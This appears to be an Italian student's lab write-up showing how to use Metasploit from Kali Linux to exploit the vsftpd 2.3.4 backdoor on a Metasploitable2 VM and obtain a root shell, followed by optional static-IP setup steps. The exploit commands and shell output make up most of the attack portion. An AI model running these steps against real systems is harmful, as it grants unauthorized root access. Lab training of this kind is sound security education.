

Nell'esercizio di oggi adrò ad effettuare l'exploit di una macchina Metasploitable2 usando una macchina Kali linux come attaccante

Avvio Metasploit da terminale come il comando  
msfconsle

```
root@kali: /home/kali
File Actions Edit View Help
(kali@kali)~$ sudo su
[sudo] password for kali:
root@kali: /home/kali
msfconsle
Metasploit tip: Set the current module's RHOSTS with database values using
hosts -R or services -R

+ [ metasploit v6.4.18-dev ]
+ -- [ 2437 exploits - 1255 auxiliary - 429 post ]
+ -- [ 1468 payloads - 47 encoders - 11 nops ]
+ -- [ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
msf6 >
```

una volta avviato eseguo il comando  
search vsftpd  
per cercare gli exploit disponibili per il protocollo  
ftp

```
msf6 > search vsftpd

Matching Modules

#  Name                               Disclosure Date  Rank
--  -
0  auxiliary/dos/ftp/vsftpd_232         2011-02-03      normal
Yes VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03      excellent
No  VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or
use exploit/unix/ftp/vsftpd_234_backdoor
msf6 >
```

Seleziono l'exploit che voglio usare per  
questo attacco  
-use exploit/unix/ftp/vsftpd\_234\_backdoor

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Con questo comando  
-set RHOST 192.168.1.115  
inserisco l'indirizzo IP della macchina  
Metasploitable2

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.115
RHOST => 192.168.1.115
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      no               no        The local client address
CPORT      no               no        The local client port
Proxies    no               no        A proxy chain of format type:
host:port[,type:host:port][..
.]
RHOSTS     192.168.1.115   yes       The target host(s), see https
://docs.metasploit.com/docs/u
sing-metasploit/basics/using-
metasploit.html
RPORT      21               yes       The target port (TCP)

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Infine utilizzo il comando  
exploit  
per tentare di aprire una shell  
nella macchina della vittima

nel caso in cui l'attacco ha  
avuto successo si presenta con  
il terminale come in foto

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.115:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.115:21 - USER: 331 Please specify the password.
[+] 192.168.1.115:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.115:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.217:45127 → 192.168.1.1
15:6200) at 2024-11-11 09:00:57 -0500
```

in questo momento abbiamo una shell aperta all'interno della macchina della  
vittima, possiamo per esempio creare una cartella con il comando mkdir

```
mkdir mrRobotFolder
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
mrRobotFolder
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

per terminare la sessione basta digitare  
exit per tornare alla home di Metasploit

```
exit
[*] 192.168.1.115 - Command shell session 1 closed.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

(Opzionale)

Per cambiare l'indirizzo IP alla macchina  
Metasploitable2 bisogna iniziare col modificare il file  
interfaces  
sudo nano /etc/network/interfaces

In questo modo impostiamo un IP statico alla macchina  
ctrl+o per salvare  
ctrl+x per uscire da nano

```
# This file describes the network
# and how to activate them. For mo

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet dhcp

iface eth0 inet static
address 192.168.1.118
netmask 255.255.255.0
gateway 192.168.1.1
```

sudo /etc/init.d/networking restart  
per riavviare la rete

sudo reboot  
per riavviare la macchina

ifconfig per verificare se l'ip è stato cambiato con successo